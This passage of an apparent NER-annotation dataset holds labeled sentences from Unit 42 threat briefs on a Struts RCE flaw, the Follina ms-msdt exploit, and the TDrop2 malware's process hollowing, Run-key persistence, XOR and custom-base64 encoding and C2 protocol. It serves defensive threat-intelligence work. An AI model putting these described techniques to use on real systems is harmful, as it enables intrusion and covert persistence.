API.","entities":[{"id":47244,"label":"identity","start_offset":1,"end_offset":18},{"id":47245,"label":"SOFTWARE","start_offset":37,"end_offset":59},{"id":47246,"label":"attack-pattern","start_offset":110,"end_offset":135},{"id":47247,"label":"SOFTWARE","start_offset":155,"end_offset":166}],"relations":[],"Comments":[]} +{"id":2109,"text":"Customers running Cortex XDR Pro with analytics enabled will get alerted on related suspicious activities and specifically on a delegation from or to a protected user. Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.","entities":[{"id":45397,"label":"identity","start_offset":169,"end_offset":187},{"id":45396,"label":"SOFTWARE","start_offset":18,"end_offset":32}],"relations":[],"Comments":[]} +{"id":2110,"text":"Sign up to receive the latest news, cyber threat intelligence and research from us","entities":[],"relations":[],"Comments":[]} +{"id":2111,"text":" Please enter your email address!","entities":[],"relations":[],"Comments":[]} +{"id":2112,"text":" Please mark, I'm not a robot! By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]} +{"id":2113,"text":"Situation Overview","entities":[],"relations":[],"Comments":[]} +{"id":2114,"text":"On August 22, 2018, the Apache Foundation released a critical security update for CVE-2018-1176, a remote code execution vulnerability affecting Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16.","entities":[{"id":47248,"label":"TIME","start_offset":3,"end_offset":18},{"id":47249,"label":"vulnerability","start_offset":82,"end_offset":95},{"id":47252,"label":"SOFTWARE","start_offset":145,"end_offset":199},{"id":47250,"label":"vulnerability","start_offset":99,"end_offset":134}],"relations":[{"id":311,"from_id":47252,"to_id":47249,"type":"has"},{"id":312,"from_id":47252,"to_id":47250,"type":"has"}],"Comments":[]} +{"id":2115,"text":"The Apache Foundation has urged everyone to apply the security updates as soon as possible.","entities":[{"id":45398,"label":"identity","start_offset":4,"end_offset":21}],"relations":[],"Comments":[]} +{"id":2116,"text":"This blog is to provide information to help organizations assess their risk of the vulnerability and to inform Palo Alto Networks customers of protections in place that can help mitigate their risk until they can apply the security updates.","entities":[{"id":47254,"label":"identity","start_offset":111,"end_offset":129}],"relations":[],"Comments":[]} +{"id":2117,"text":"Palo Alto Networks customers who have deployed the latest vulnerability signatures released on August 24, 2018, are protected.","entities":[{"id":47255,"label":"identity","start_offset":0,"end_offset":18},{"id":47256,"label":"TIME","start_offset":95,"end_offset":110}],"relations":[],"Comments":[]} +{"id":2118,"text":" Vulnerability Information","entities":[],"relations":[],"Comments":[]} +{"id":2119,"text":"According to both the Apache Foundation and security researcher Man Yue Mo, this vulnerability can enable remote code execution on a server running a vulnerable version of Apache Struts.","entities":[{"id":47257,"label":"identity","start_offset":22,"end_offset":39},{"id":47258,"label":"identity","start_offset":64,"end_offset":74},{"id":47259,"label":"attack-pattern","start_offset":106,"end_offset":127},{"id":47260,"label":"SOFTWARE","start_offset":172,"end_offset":185}],"relations":[],"Comments":[]} +{"id":2120,"text":"The method of attack would be through a specially crafted URL sent to the vulnerable system.","entities":[],"relations":[],"Comments":[]} +{"id":2121,"text":"In most cases, this means no authentication is required to exploit the vulnerability.","entities":[],"relations":[],"Comments":[]} +{"id":2122,"text":"A successful attack would run code in the security context that Struts is using.","entities":[{"id":47261,"label":"SOFTWARE","start_offset":64,"end_offset":70}],"relations":[],"Comments":[]} +{"id":2123,"text":"In some cases, this could effectively lead to a total compromise of the system.","entities":[],"relations":[],"Comments":[]} +{"id":2124,"text":"It’s important to note, however, that the vulnerability is not exploitable in default configurations.","entities":[],"relations":[],"Comments":[]} +{"id":2125,"text":"The following two conditions must both be met for a system to be vulnerable to attack: If your Struts application does not meet both of these conditions, your application may still be vulnerable but not (currently) exploitable via CVE-2018-11776.","entities":[{"id":47262,"label":"vulnerability","start_offset":232,"end_offset":246},{"id":47263,"label":"SOFTWARE","start_offset":96,"end_offset":102}],"relations":[],"Comments":[]} +{"id":2126,"text":"In particular, if your application uses the popular Struts Convention plugin, it appears to potentially increase your risk of exploitability vis-à-vis other Struts implementations that do not use that plugin.","entities":[{"id":47265,"label":"SOFTWARE","start_offset":52,"end_offset":58},{"id":47266,"label":"SOFTWARE","start_offset":157,"end_offset":163}],"relations":[],"Comments":[]} +{"id":2127,"text":" Threat Environment Information","entities":[],"relations":[],"Comments":[]} +{"id":2128,"text":"The vulnerability was disclosed on August 22 in conjunction with security updates that address it.","entities":[{"id":47267,"label":"TIME","start_offset":35,"end_offset":44}],"relations":[],"Comments":[]} +{"id":2129,"text":"There is detailed information about the vulnerability and how to exploit it available currently.","entities":[],"relations":[],"Comments":[]} +{"id":2130,"text":"There is also proof of concept (PoC) code available already.","entities":[],"relations":[],"Comments":[]} +{"id":2131,"text":"As noted above, the PoC works only against systems that are vulnerable and meet both conditions for exploitability.","entities":[],"relations":[],"Comments":[]} +{"id":2132,"text":"Some have noted that a previous critical Struts vulnerability was actively attacked last year only three days after the release of the security update and vulnerability information.","entities":[{"id":47268,"label":"SOFTWARE","start_offset":41,"end_offset":47}],"relations":[],"Comments":[]} +{"id":2133,"text":"There are no known active attacks at this time and the current requirement that two, non-default conditions need to be met for the vulnerability to be exploitable makes for a different threat environment.","entities":[],"relations":[],"Comments":[]} +{"id":2134,"text":"However with active PoC available we can expect at the minimum probing, if not active exploitation of this vulnerability in the near term.","entities":[],"relations":[],"Comments":[]} +{"id":2135,"text":"Organizations should focus their risk assessments for possible attack until they can patch on four things: Guidance and Protections for Palo Alto Networks Customers","entities":[{"id":47269,"label":"identity","start_offset":137,"end_offset":155}],"relations":[],"Comments":[]} +{"id":2136,"text":"All organizations running vulnerable versions of Apache Struts should deploy the security updates as soon as possible.","entities":[{"id":45399,"label":"SOFTWARE","start_offset":49,"end_offset":62}],"relations":[],"Comments":[]} +{"id":2137,"text":"Organizations can and should prioritize scheduling and deployment of the security updates based on their security policy and risk assessment, and on currently available information.","entities":[],"relations":[],"Comments":[]} +{"id":2138,"text":"Palo Alto Networks customers who have deployed vulnerability signatures in content release version 8057 released on August 24, 2018, which include ID 33948 Name: Apache Struts 2 Remote Code Execution Vulnerability, are protected against currently known exploits against that vulnerability.","entities":[{"id":47271,"label":"TIME","start_offset":116,"end_offset":131},{"id":47270,"label":"identity","start_offset":0,"end_offset":18},{"id":47272,"label":"SOFTWARE","start_offset":162,"end_offset":177},{"id":47273,"label":"vulnerability","start_offset":178,"end_offset":213}],"relations":[],"Comments":[]} +{"id":2139,"text":"Our customers should still deploy the security update as recommended above, but can and should deploy the latest vulnerability signature immediate for additional protection.","entities":[],"relations":[],"Comments":[]} +{"id":2140,"text":"With this addition protection available, our customers can and should include that as part of their decisions around security and deployment of the security updates and their risk assessment of the vulnerability and threat environment.","entities":[],"relations":[],"Comments":[]} +{"id":2141,"text":"As always, we are monitoring the situation closely and will provide additional details as they become available. Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address! Please mark, I'm not a robot! By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]} +{"id":2142,"text":"This post is also available in: 日本語 (Japanese) ","entities":[],"relations":[],"Comments":[]} +{"id":2143,"text":"On May 27, 2022, details began to emerge of malicious Word documents leveraging remote templates to execute PowerShell via the ms-msdt Office URL protocol.","entities":[{"id":47274,"label":"tools","start_offset":108,"end_offset":118},{"id":47275,"label":"TIME","start_offset":3,"end_offset":15},{"id":47276,"label":"SOFTWARE","start_offset":54,"end_offset":59}],"relations":[],"Comments":[]} +{"id":2144,"text":"The use of this technique appeared to allow attackers to bypass local Office macro policies to execute code within the context of Word.","entities":[{"id":47277,"label":"SOFTWARE","start_offset":130,"end_offset":134}],"relations":[],"Comments":[]} +{"id":2145,"text":"Microsoft has since released protection guidance and assigned CVE-2022-30190 to this vulnerability.","entities":[{"id":45400,"label":"vulnerability","start_offset":62,"end_offset":76},{"id":45401,"label":"identity","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]} +{"id":2146,"text":" Due to the amount of publicly available information, ease of use, and the extreme effectiveness of this exploit, Palo Alto Networks is providing this threat brief to make our customers aware of this critical vulnerability and the options available to ensure proper protections are put into place until a patch can be issued by Microsoft. The vulnerability enables remote code execution with the same privileges as the calling application and there are proof-of-concept examples of zero-click variants.","entities":[{"id":47278,"label":"identity","start_offset":114,"end_offset":132},{"id":47279,"label":"identity","start_offset":328,"end_offset":337},{"id":47280,"label":"attack-pattern","start_offset":366,"end_offset":387}],"relations":[],"Comments":[]} +{"id":2147,"text":"Therefore, exploits for this vulnerability have potential to be of high impact.","entities":[],"relations":[],"Comments":[]} +{"id":2148,"text":" We highly recommend following Microsoft’s guidance to protect your enterprise until a patch is issued to fix the problem.","entities":[{"id":45402,"label":"identity","start_offset":31,"end_offset":40}],"relations":[],"Comments":[]} +{"id":2149,"text":"All known samples and URLs associated with this attack have been flagged in the Palo Alto Networks product suite so customers can receive protections. Attack Details for CVE-2022-30190 CVE-2022-30190 in the Wild Conclusion On May 27, 2022, a cybersecurity research team out of Tokyo, Japan, nao_sec, uncovered a malicious Word document uploaded to VirusTotal from an IP in Belarus.","entities":[{"id":47283,"label":"TIME","start_offset":228,"end_offset":240},{"id":47288,"label":"SOFTWARE","start_offset":324,"end_offset":328},{"id":47281,"label":"vulnerability","start_offset":171,"end_offset":185},{"id":47282,"label":"vulnerability","start_offset":186,"end_offset":200},{"id":47284,"label":"identity","start_offset":80,"end_offset":98},{"id":47285,"label":"location","start_offset":279,"end_offset":291},{"id":47286,"label":"SOFTWARE","start_offset":350,"end_offset":360},{"id":47287,"label":"location","start_offset":375,"end_offset":382}],"relations":[],"Comments":[]} +{"id":2150,"text":"The document was abusing the Microsoft Word remote template feature to retrieve a malicious HTML file that subsequently used the ms-msdt Office URI scheme to execute PowerShell within the context of Word.","entities":[{"id":47290,"label":"SOFTWARE","start_offset":199,"end_offset":203},{"id":47289,"label":"tools","start_offset":166,"end_offset":176},{"id":47291,"label":"SOFTWARE","start_offset":29,"end_offset":43}],"relations":[],"Comments":[]} +{"id":2151,"text":" On May 30, Keven Beaumont wrote an article detailing the specifics of the initial incident.","entities":[{"id":45404,"label":"identity","start_offset":12,"end_offset":26},{"id":45403,"label":"TIME","start_offset":4,"end_offset":10}],"relations":[],"Comments":[]} +{"id":2152,"text":"The important thing to note here is that the decoy Word document had nothing inherently malicious outside of the link to the template hosted at hxxp:\/\/xmlformats[.]com, allowing it to bypass EDR solutions.","entities":[{"id":47292,"label":"SOFTWARE","start_offset":51,"end_offset":55},{"id":47293,"label":"URL","start_offset":144,"end_offset":167}],"relations":[],"Comments":[]} +{"id":2153,"text":"The HTML code from the remote template is shown in Figure 1 below.","entities":[],"relations":[],"Comments":[]} +{"id":2154,"text":" The JavaScript embedded within the HTML uses the ms-msdt schema to invoke the PCWDiagnostic pack, to reference the IT_BrowseForFile to execute the base64-encoded PowerShell Invoke-Expression command. The base64-decoded text within the PowerShell Invoke-Expression is shown in Figure 2 below.","entities":[{"id":47294,"label":"tools","start_offset":163,"end_offset":173},{"id":47295,"label":"tools","start_offset":237,"end_offset":247}],"relations":[],"Comments":[]} +{"id":2155,"text":" This code does a few things.","entities":[],"relations":[],"Comments":[]} +{"id":2156,"text":"First it kills the msdt.exe process.","entities":[{"id":47296,"label":"FILEPATH","start_offset":19,"end_offset":27}],"relations":[],"Comments":[]} +{"id":2157,"text":"Then the code loops through the files within a .rar archive looking for a CAB file (TVNDRgAAAA base64 decodes to MSCF, which is the magic header of a CAB file).","entities":[],"relations":[],"Comments":[]} +{"id":2158,"text":"It then stores it in a file called 1.t. 1.t, which gets base64 decoded to 1.c, expanded to rgb.exe and then finally executed.","entities":[],"relations":[],"Comments":[]} +{"id":2159,"text":" None of the reports we’ve seen have recovered the final payload.","entities":[],"relations":[],"Comments":[]} +{"id":2160,"text":"Therefore, the contents are unknown.","entities":[],"relations":[],"Comments":[]} +{"id":2161,"text":" The use of remote templates to deliver malicious documents is not new, however, historically they’ve been used to host .docm or dotm (macro-enabled Word documents), which would still be affected by the local systems’s Word macro policy.","entities":[{"id":47298,"label":"SOFTWARE","start_offset":219,"end_offset":224},{"id":47297,"label":"SOFTWARE","start_offset":149,"end_offset":153}],"relations":[],"Comments":[]} +{"id":2162,"text":"Therefore, the vulnerability of particular note in this attack lies in calling the Microsoft Support Diagnostic Tool (MSDT) using the ms-msdt URL Protocol within Word via the remotely loaded template file.","entities":[{"id":47300,"label":"SOFTWARE","start_offset":162,"end_offset":166},{"id":47299,"label":"SOFTWARE","start_offset":83,"end_offset":123}],"relations":[],"Comments":[]} +{"id":2163,"text":"This allows execution of code within the context of Microsoft Word, even if macros are disabled.","entities":[{"id":45405,"label":"SOFTWARE","start_offset":52,"end_offset":66}],"relations":[],"Comments":[]} +{"id":2164,"text":" Protected View was triggered during execution of the nao_sec example, however, John Hammond demonstrated you can bypass Protected View by using an RTF file instead.","entities":[],"relations":[],"Comments":[]} +{"id":2165,"text":"This allows the attack to succeed even if the user simply views the file in the preview pane – with no clicks on the document necessary – making the attack much more dangerous.","entities":[],"relations":[],"Comments":[]} +{"id":2166,"text":" Microsoft has since released protection guidance and assigned CVE-2022-30190 to this vulnerability.","entities":[{"id":45406,"label":"identity","start_offset":1,"end_offset":10},{"id":45407,"label":"vulnerability","start_offset":63,"end_offset":77}],"relations":[],"Comments":[]} +{"id":2167,"text":"They provided a workaround to disable the MSDT URL protocol, however, this may break other diagnostic tools that rely on the MSDT URL protocol to operate.","entities":[],"relations":[],"Comments":[]} +{"id":2168,"text":"They also recommend ensuring cloud-delivered protections and automatic sample submission for Microsoft Defender are enabled.","entities":[{"id":47301,"label":"SOFTWARE","start_offset":93,"end_offset":111}],"relations":[],"Comments":[]} +{"id":2169,"text":"Microsoft recommends that customers of Microsoft Defender for Endpoint enable the attack surface reduction rule BlockOfficeCreateProcessRule.","entities":[{"id":45408,"label":"identity","start_offset":0,"end_offset":9},{"id":45409,"label":"SOFTWARE","start_offset":39,"end_offset":70}],"relations":[],"Comments":[]} +{"id":2170,"text":" So far, Palo Alto Networks is only seeing indications of testing within our customer telemetry indicated by final payload execution of benign executables such as calc.exe and notepad.exe.","entities":[{"id":47302,"label":"identity","start_offset":9,"end_offset":27},{"id":47303,"label":"FILEPATH","start_offset":176,"end_offset":187},{"id":47304,"label":"FILEPATH","start_offset":163,"end_offset":171}],"relations":[],"Comments":[]} +{"id":2171,"text":"Palo Alto Networks and Unit 42 will continue to monitor for evidence of exploitation and further novel use cases.","entities":[{"id":47305,"label":"identity","start_offset":0,"end_offset":18},{"id":47306,"label":"identity","start_offset":23,"end_offset":30}],"relations":[],"Comments":[]} +{"id":2172,"text":" Based on the amount of publicly available information, the ease of use and the extreme effectiveness of this exploit, Palo Alto Networks highly recommends following Microsoft’s guidance to protect your enterprise until a patch is issued to fix the problem.","entities":[{"id":45410,"label":"identity","start_offset":119,"end_offset":137},{"id":45411,"label":"identity","start_offset":166,"end_offset":175}],"relations":[],"Comments":[]} +{"id":2173,"text":" Next-Generation Firewalls (PA-Series, VM-Series and CN-Series) or Prisma Access with a Threat Prevention security subscription can automatically block sessions related to this vulnerability using Threat ID 92623 (Application and Threat content update 8575). WildFire and Cortex XDR categorize all known samples we’ve come across as malware.","entities":[{"id":47307,"label":"SOFTWARE","start_offset":67,"end_offset":105},{"id":47308,"label":"SOFTWARE","start_offset":260,"end_offset":268},{"id":47309,"label":"SOFTWARE","start_offset":273,"end_offset":283}],"relations":[],"Comments":[]} +{"id":2174,"text":" Cortex XDR Agent 7.5 and higher (with content version 540-92526) prevents attempts to exploit this vulnerability with the Behavioral Threat Protection module.","entities":[{"id":47310,"label":"SOFTWARE","start_offset":1,"end_offset":21}],"relations":[],"Comments":[]} +{"id":2175,"text":"The Cortex XSOAR “CVE-2022-30190 - MSDT RCE” playbook helps speed up the discovery and remediation of compromised hosts within the network.","entities":[{"id":45412,"label":"vulnerability","start_offset":18,"end_offset":32},{"id":45413,"label":"SOFTWARE","start_offset":4,"end_offset":16}],"relations":[],"Comments":[]} +{"id":2176,"text":"The playbook can be found on the XSOAR marketplace.","entities":[],"relations":[],"Comments":[]} +{"id":2177,"text":" Additionally, all encountered URLs have been flagged as malware within PAN-DB, the Advanced URL Filtering URL database.","entities":[],"relations":[],"Comments":[]} +{"id":2178,"text":"Customers can leverage this service with best practice configuration for further protection.","entities":[],"relations":[],"Comments":[]} +{"id":2179,"text":" If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: As further information or detections are put into place, Palo Alto Networks will update this publication accordingly.","entities":[{"id":47312,"label":"identity","start_offset":190,"end_offset":208},{"id":47311,"label":"identity","start_offset":92,"end_offset":122}],"relations":[],"Comments":[]} +{"id":2180,"text":"Updated June 3, 2022, at 3:30 p.m. PT.","entities":[{"id":47313,"label":"TIME","start_offset":8,"end_offset":37}],"relations":[],"Comments":[]} +{"id":2181,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[],"relations":[],"Comments":[]} +{"id":2182,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]} +{"id":2183,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. ","entities":[],"relations":[],"Comments":[]} +{"id":2184,"text":"Palo Alto Networks recently identified a new campaign targeting the transportation sector in Europe with ties to the Dark Seoul and Operation Troy campaigns that took place in 2013.","entities":[{"id":45416,"label":"campaign","start_offset":117,"end_offset":127},{"id":45417,"label":"campaign","start_offset":132,"end_offset":146},{"id":45418,"label":"TIME","start_offset":176,"end_offset":180},{"id":45414,"label":"identity","start_offset":0,"end_offset":18},{"id":45415,"label":"location","start_offset":93,"end_offset":99},{"id":6575,"label":"threat-actor","start_offset":117,"end_offset":127}],"relations":[],"Comments":[]} +{"id":2185,"text":"This new campaign used updated instances of the Tdrop malware family discovered in the Operation Troy campaign.","entities":[{"id":6580,"label":"malware","start_offset":48,"end_offset":53},{"id":47314,"label":"campaign","start_offset":87,"end_offset":110}],"relations":[{"id":313,"from_id":47314,"to_id":6580,"type":"delivers"}],"Comments":[]} +{"id":2186,"text":"For more information on the new campaign discovered by Unit 42, please refer to our recent blog post.","entities":[{"id":47315,"label":"identity","start_offset":55,"end_offset":62}],"relations":[],"Comments":[]} +{"id":2187,"text":"In this attack, attackers embedded the TDrop2 malware inside a legitimate video software package hosted on the software distributor’s website.","entities":[{"id":45419,"label":"malware","start_offset":39,"end_offset":45}],"relations":[],"Comments":[]} +{"id":2188,"text":"By doing this, they were able to target organizations that relied on the distributor’s security camera solution and infect their systems with malware.","entities":[],"relations":[],"Comments":[]} +{"id":2189,"text":"They created a true Trojan horse, which sneaks into a network as a gift, but when opened, the attacker’s army leaps out.","entities":[],"relations":[],"Comments":[]} +{"id":2190,"text":" The malware used for the attempted infection purported to be a legitimate video player, providing viewing software for security camera solutions.","entities":[],"relations":[],"Comments":[]} +{"id":2191,"text":"The following two unique file names were involved in the attack.","entities":[],"relations":[],"Comments":[]} +{"id":2192,"text":" The difference between the files involves the specific video player that was dropped and executed during runtime.","entities":[],"relations":[],"Comments":[]} +{"id":2193,"text":"Each file would drop and execute the full or light version of the legitimate video player respective to the file name.","entities":[],"relations":[],"Comments":[]} +{"id":2194,"text":" Both the legitimate copy of the video player, as well as a malicious executable were bundled into a single executable.","entities":[],"relations":[],"Comments":[]} +{"id":2195,"text":"These files were added to the end of the Trojan executable, as seen below.","entities":[],"relations":[],"Comments":[]} +{"id":2196,"text":" When initially run, the malware checks to see if its parent process is either explorer.exe or cmd.exe.","entities":[{"id":45421,"label":"FILEPATH","start_offset":95,"end_offset":102},{"id":45420,"label":"FILEPATH","start_offset":79,"end_offset":91}],"relations":[],"Comments":[]} +{"id":2197,"text":"In the event the malware is not running in the context of either of these processes, it will exit.","entities":[],"relations":[],"Comments":[]} +{"id":2198,"text":"This check exists in a number of the subsequent processes\/executables used by the TDrop2 malware variant.","entities":[{"id":6600,"label":"malware","start_offset":82,"end_offset":88}],"relations":[],"Comments":[]} +{"id":2199,"text":" Subsequently, the malware proceeds to extract both the video player and the embedded malware using a series of calls to CreateFile, CreateFileMapping, GetFileSize, and MapViewOfFile.","entities":[],"relations":[],"Comments":[]} +{"id":2200,"text":"Once extracted, the file writes it to a new file on disk prior to executing it.","entities":[],"relations":[],"Comments":[]} +{"id":2201,"text":"The video player is written to one of the following locations, based on the original filename: The malware itself is written to the %TEMP% directory as well.","entities":[{"id":47316,"label":"FILEPATH","start_offset":133,"end_offset":139}],"relations":[],"Comments":[]} +{"id":2202,"text":"The filename is derived by randomly choosing an executable name from the system32 directory.","entities":[{"id":47317,"label":"FILEPATH","start_offset":73,"end_offset":81}],"relations":[],"Comments":[]} +{"id":2203,"text":"The randomly chosen executable must not contain any of the following strings: This dropped malware begins by performing the same parent process check witnessed in the original sample.","entities":[],"relations":[],"Comments":[]} +{"id":2204,"text":"In the event the malware is not running within the parent process of cmd.exe or explorer.exe, it will exit immediately.","entities":[{"id":6607,"label":"malware","start_offset":69,"end_offset":76}],"relations":[],"Comments":[]} +{"id":2205,"text":"This malware sample will also dynamically load a number of functions and libraries.","entities":[],"relations":[],"Comments":[]} +{"id":2206,"text":"After the kernel32.dll and ntdll.dll libraries are loaded via calls to GetModuleHandle, the following process takes place:","entities":[{"id":47319,"label":"FILEPATH","start_offset":27,"end_offset":36},{"id":47318,"label":"FILEPATH","start_offset":10,"end_offset":22}],"relations":[],"Comments":[]} +{"id":2207,"text":" In total, the following 14 functions are loaded during runtime: ","entities":[],"relations":[],"Comments":[]} +{"id":2208,"text":"After these functions are loaded, the malware will randomly select an executable from the system32 using the same routine witnessed in the earlier sample.","entities":[{"id":47320,"label":"FILEPATH","start_offset":90,"end_offset":98}],"relations":[],"Comments":[]} +{"id":2209,"text":"The malware proceeds to spawn a new process of the selected executable and performs a technique called process hollowing to hide itself inside a legitimate executable.","entities":[],"relations":[],"Comments":[]} +{"id":2210,"text":"This leads us to the next stage of our malware This particular stage of malware acts as a downloader.","entities":[],"relations":[],"Comments":[]} +{"id":2211,"text":"The parent process check is not used in this particular sample.","entities":[],"relations":[],"Comments":[]} +{"id":2212,"text":"The malware initially attempts to download a file from the following location:","entities":[],"relations":[],"Comments":[]} +{"id":2213,"text":" While the link above shows a file extension of an image, the transferred file is in fact a modified executable file. The downloaded file has the first two bytes of the PE file format replaced with the characters ‘DW’, instead of the usual ‘MZ’.","entities":[],"relations":[],"Comments":[]} +{"id":2214,"text":"After the download occurs, the malware immediately corrects the first two bytes with the ‘MZ’ characters prior to writing the file to disk.","entities":[],"relations":[],"Comments":[]} +{"id":2215,"text":" The downloaded file is dropped to the system32 folder.","entities":[{"id":47321,"label":"FILEPATH","start_offset":39,"end_offset":47}],"relations":[],"Comments":[]} +{"id":2216,"text":"The malware selects a randomly chosen DLL from this directory.","entities":[],"relations":[],"Comments":[]} +{"id":2217,"text":"The base name of this DLL is used to write the downloaded file.","entities":[],"relations":[],"Comments":[]} +{"id":2218,"text":"As an example, in the event apcups.dll was selected, the malware would write the downloaded file to apcups.exe in the same folder.","entities":[{"id":47322,"label":"FILEPATH","start_offset":100,"end_offset":110}],"relations":[],"Comments":[]} +{"id":2219,"text":"The downloader then proceeds to execute this downloaded file in a new process.","entities":[],"relations":[],"Comments":[]} +{"id":2220,"text":" As we’ve seen in previous samples, this executable file begins by checking the parent process for the presence of ‘cmd.exe’ or ‘explorer.exe’.","entities":[{"id":45422,"label":"FILEPATH","start_offset":116,"end_offset":123},{"id":45423,"label":"FILEPATH","start_offset":129,"end_offset":141}],"relations":[],"Comments":[]} +{"id":2221,"text":"It proceeds to randomly select an executable file in the system32 folder, and performs process hollowing against it.","entities":[{"id":47324,"label":"attack-pattern","start_offset":87,"end_offset":104},{"id":47323,"label":"FILEPATH","start_offset":57,"end_offset":65}],"relations":[],"Comments":[]} +{"id":2222,"text":"The injected executable contains the last stage of the TDrop2 malware variant.","entities":[{"id":6630,"label":"malware","start_offset":55,"end_offset":61}],"relations":[],"Comments":[]} +{"id":2223,"text":" Upon execution, we once again see the parent process check to determine if the malware is running within the ‘cmd.exe’ or ‘explorer.exe’ parent process.","entities":[{"id":45424,"label":"FILEPATH","start_offset":111,"end_offset":118},{"id":45425,"label":"FILEPATH","start_offset":124,"end_offset":136}],"relations":[],"Comments":[]} +{"id":2224,"text":"It continues to dynamically load a number of libraries and functions for later use.","entities":[],"relations":[],"Comments":[]} +{"id":2225,"text":"A feature that has yet to be seen is that of string encryption.","entities":[],"relations":[],"Comments":[]} +{"id":2226,"text":"Strings are encrypted using the following function, represented in Python:","entities":[],"relations":[],"Comments":[]} +{"id":2227,"text":"After dynamically loading functions and libraries, the malware iterates through the running processes and attempts to determine if the ‘V3lite.exe’ process is running.","entities":[{"id":47325,"label":"FILEPATH","start_offset":136,"end_offset":146}],"relations":[],"Comments":[]} +{"id":2228,"text":"This process name is associated with the South Korean-based AhnLab security software provider.","entities":[{"id":47326,"label":"location","start_offset":41,"end_offset":53},{"id":47327,"label":"identity","start_offset":60,"end_offset":66}],"relations":[],"Comments":[]} +{"id":2229,"text":"In the event this process is running, the malware will attempt to kill the process’ class window.","entities":[],"relations":[],"Comments":[]} +{"id":2230,"text":" The final payload proceeds to generate the following mutex to ensure only one copy of the malware is running concurrently: Global\\SPPLMUTEX The payload then spawns two threads—one to maintain persistence and another to gather victim information and perform command and control operations.","entities":[],"relations":[],"Comments":[]} +{"id":2231,"text":"Persistence is achieved by setting the following registry key: HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run The name of the registry key in the above instances is derived from the basename of the supplied argument.","entities":[{"id":6650,"label":"REGISTRYKEY","start_offset":64,"end_offset":114},{"id":6651,"label":"REGISTRYKEY","start_offset":116,"end_offset":166}],"relations":[],"Comments":[]} +{"id":2232,"text":"In the event the supplied argument was C:\\malware.exe, the registry key would be named ‘malware’, and the path for this key would be ‘C:\\malware.exe’. The persistence thread runs in a loop where the registry keys are set every 60 seconds, ensuring persistence even in the event an administrator manually deletes the registry keys.","entities":[{"id":45426,"label":"FILEPATH","start_offset":39,"end_offset":53},{"id":45427,"label":"FILEPATH","start_offset":134,"end_offset":148},{"id":6655,"label":"TIME","start_offset":222,"end_offset":238}],"relations":[],"Comments":[]} +{"id":2233,"text":" The other thread begins by collecting information about the victim, such as the following: These data points are used to generate a unique victim ID, which is stored in the following registry key: HKCU\\SOFTWARE\\Microsoft\\HY08A\\Build The malware will continue to decrypt and store embedded C2 URLs.","entities":[{"id":47328,"label":"REGISTRYKEY","start_offset":200,"end_offset":235}],"relations":[],"Comments":[]} +{"id":2234,"text":"The following URLs have been identified:","entities":[],"relations":[],"Comments":[]} +{"id":2235,"text":" The final payload proceeds to enter its command and control loop.","entities":[],"relations":[],"Comments":[]} +{"id":2236,"text":"It initially performs a DNS check against microsoft.com to ensure it has Internet connectivity.","entities":[],"relations":[],"Comments":[]} +{"id":2237,"text":"After this check is performed, it enters an infinite loop, with a sleep interval set at a default of 30 minutes.","entities":[{"id":6668,"label":"TIME","start_offset":101,"end_offset":111}],"relations":[],"Comments":[]} +{"id":2238,"text":"The malware will periodically poll the C2 server and determine if any commands are received.","entities":[],"relations":[],"Comments":[]} +{"id":2239,"text":"The initial POST request contains a unique victim identifier that was previously generated.","entities":[],"relations":[],"Comments":[]} +{"id":2240,"text":"The optional response by the C2 server is both encoded and encrypted. The data is first encrypted using an unidentified algorithm.","entities":[],"relations":[],"Comments":[]} +{"id":2241,"text":"The two keys used for this encryption are generated using another unidentified algorithm.","entities":[],"relations":[],"Comments":[]} +{"id":2242,"text":"The following Python script can be used to generate the keys.","entities":[],"relations":[],"Comments":[]} +{"id":2243,"text":"A default salt of ‘FFFFFFFF’ is used.","entities":[],"relations":[],"Comments":[]} +{"id":2244,"text":" Additionally, the following Python script can be used for encryption\/decryption ","entities":[],"relations":[],"Comments":[]} +{"id":2245,"text":"After the data is encrypted, it is then base64-encoded using a custom alphabet.","entities":[],"relations":[],"Comments":[]} +{"id":2246,"text":"The following alphabet is used: 3bcd1fghijklmABCDEFGH-J+LMnopq4stuvwxyzNOPQ7STUVWXYZ0e2ar56R89K\/ ","entities":[],"relations":[],"Comments":[]} +{"id":2247,"text":"When the previously mentioned C2 response is both decoded and decrypted, we are presented with the following data: The command structure of the C2 response always begins with the string ‘tick’","entities":[],"relations":[],"Comments":[]} +{"id":2248,"text":"The number following this string is most likely a unique command identifier.","entities":[],"relations":[],"Comments":[]} +{"id":2249,"text":"The malware will store these command identifiers in the following files: In the event the number after the tick was previously witnessed, the command from the C2 will be ignored.","entities":[],"relations":[],"Comments":[]} +{"id":2250,"text":"The remaining lines are then parsed.","entities":[],"relations":[],"Comments":[]} +{"id":2251,"text":"The following commands are supported: Once again, using the previous example, the malware will first ensure that the command was not previously parsed\/executed.","entities":[],"relations":[],"Comments":[]} +{"id":2252,"text":"In the event it is new, it will proceed to execute the various reconnaissance commands found on line #2.","entities":[],"relations":[],"Comments":[]} +{"id":2253,"text":"The results of these commands are uploaded to the C2 server.","entities":[],"relations":[],"Comments":[]} +{"id":2254,"text":" As we can see in the above network traffic, the malware attempts to disguise the data as a .gif image.","entities":[],"relations":[],"Comments":[]} +{"id":2255,"text":"Finally, the malware will parse the third line, which instructs the malware to modify the wait interval to a value of ‘60’.","entities":[],"relations":[],"Comments":[]} +{"id":2256,"text":"This interval value is set in the following registry key: HKCU\\Software\\Microsoft\\HY08A\\Policy Additionally, in the event the C2 response instructs the malware to update C2 URLs, it will be in the following format: 1001; [unique_identifier] [url] The malware will encrypt the URL string with a 4-byte XOR key of “\\x01\\x02\\x03\\x04” and store this data in the following registry key: HKCU\\Software\\Microsoft\\HY08A\\[unique_identifier] The TDrop2 malware family that was witnessed in a recent attack against a European transportation company provided a minimal set of 